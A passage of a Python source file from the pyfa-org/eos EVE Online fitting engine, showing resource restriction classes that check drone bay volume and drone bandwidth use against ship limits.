_stat_name = 'dronebay' _use_attr_id = AttrId.volume class DroneBandwidthRestriction(ResourceRestriction): """Drone bandwidth use by items should not exceed ship drone bandwidth. Details: For validation, stats module data is used. """ type = Restriction.drone_bandwidth _stat_name = 'drone_bandwidth' _use_attr_id = AttrId.drone_bandwidth_used
pyfa-org/eos
eos/restriction/restriction/resource.py
Python
lgpl-3.0
4,071